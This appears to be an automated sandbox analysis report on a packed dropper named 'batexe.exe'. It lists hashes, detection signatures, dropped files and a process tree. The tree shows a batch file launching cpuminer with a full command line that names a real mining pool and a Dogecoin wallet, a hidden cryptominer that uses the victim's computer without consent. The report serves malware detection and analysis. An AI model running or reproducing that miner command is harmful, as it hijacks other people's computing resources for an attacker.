73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 12:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4372	b2e.exe
4280	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4280	cpuminer-sse2.exe
4280	cpuminer-sse2.exe
4280	cpuminer-sse2.exe
4280	cpuminer-sse2.exe
4280	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/192-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 192 wrote to memory of 4372	192	batexe.exe	75
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 4372 wrote to memory of 1092	4372	b2e.exe	76
PID 1092 wrote to memory of 4280	1092	cmd.exe	79
PID 1092 wrote to memory of 4280	1092	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:192
- C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC6A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1092
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\b2e.exe

Filesize
8.3MB

MD5
ed86acfdf1a4405307a3d647fdcdf7d8

SHA1
fb0f2cc2ac97abffbc9b7480b39b023e013a985b

SHA256
8b3777595c389178adb362efa2660c1357d756d55b82cc8a1e8ac3f0beb3c76c

SHA512
5d6ef28c5a8f9d00ee5ad02cac6c2c88f216410664d567cdecafbb7af4e6d75e1d2c2efb150970e6c2e15b68100ffce2a625eca01606506d3b91c859a250ce2a

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9DA.tmp\b2e.exe

Filesize
7.6MB

MD5
d2a83cbcde488fb21ab9823ddb23cadd

SHA1
211c682b29a361d85cd3aa71d0e45f15f69baceb

SHA256
cbdf5709cfe5932d96f2c3c265c79f5a848073377860073ced16fc9e5a819a42

SHA512
fadced052d3f7eb78d834bf73651c4e9c48db6b5e97e8e538bdec5596f5e6ed6e5adcef6626b9b1c2a00c29cff737f1c4d65de413ee64735f42accc9a1f88d99

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC6A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
987KB

MD5
63bf7326bc87341b28d61af00342cb37

SHA1
bbb49e3ce364ac98e80b3717fc529d1bec2ebebf

SHA256
e36e47e029c7a32ad367e22b62fe1938ca957d932159c70bd6a1fda17284bd57

SHA512
9a3170210136de5009781161afe517a7cad7b3eb78f69490fb22431e5a441f44e805bce53998047bba5087d5cedbf0170a8ee20f2328d78c9bba18f10c63615a

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.1MB

MD5
df8b77959516916cd4b58823d7f1fcdf

SHA1
5c4da8e56b68c28318f9ec2f7a46b2aee8ef5d51

SHA256
47f5b65c542cac8b1344eaf86c7923187dcdc082fc2ad4b80754d4f1c3637ffc

SHA512
9c94587528606a4f9b45521ec7d1019c12fc0a4ffabf7ea3d1834e8a5b5f8b8f9b82118b9036be6037d65844267250cfc1697ee9344ba568534ec7178f3d6de2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.0MB

MD5
d7cff40c6fcfd0990d86ce5eaba8de5a

SHA1
711e3b5b290a16eabdd33de984b85becc5820bc2

SHA256
1fc235768332a387bd354d88d99ac80b7bb1e6dd82dacd589586d80ad1340d7f

SHA512
d4d71659c3446991528bc1e26b0fac1a4a31528c04af4354fe0d2a63104548e6a5936778f35ccb60ab4fdeac6750264f49af3985eca78a838c903464e00eea18

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
886KB

MD5
0c038215ec1e9cf7b3c9217688b7724e

SHA1
62d94f2dc8852720317dfef89de2cc9b2701cce6

SHA256
1f01ac58f3286dc702b9952d68c9d346f6b7e9599628007af02ece9cc74d20d0

SHA512
833407f2049724344a0c42bf438e7be838a2b9ba77c3c6d8524d1ae05d1a3a523232046004e51a62f2f8d01f5df316aac0991d8c4434645d7111df4947f1541c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
912KB

MD5
28fd6cb6d3fae15d93df3c90c74ec583

SHA1
8c23dd6fbd9a40c3029c4db452642e9e1558445c

SHA256
458c25dbce8fdafa5c0283381b13349abc7dfb73e8144c1c098fd07e0bb54691

SHA512
fc33756608a2426e198a65bbc8a23585760b1ecdcac95e143af0fc428ce8b8683c7e99286a6f9f70b73549bd0c1f510c91704e479ddb556daeca85e3765aa17e

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
912KB

MD5
4c873ecb0ac5d22a398921da738c75f6

SHA1
323da988506829bbeeb2ee0ac4421e26ee063acf

SHA256
60a405f37b7e661e34919cf860f4958d9ea326f9fa08e932370e753612b159bc

SHA512
9f61e77014ecf9dd6d4c533cd716a01b293d011ced460bf5404ef0adbbae7b6d0df13d751a46100adbbf64742a8319b049105d05d2f4366b63f2331d75ea9673

Download Submit
memory/192-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4280-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4280-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4280-43-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4280-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4280-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4280-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4372-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4372-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download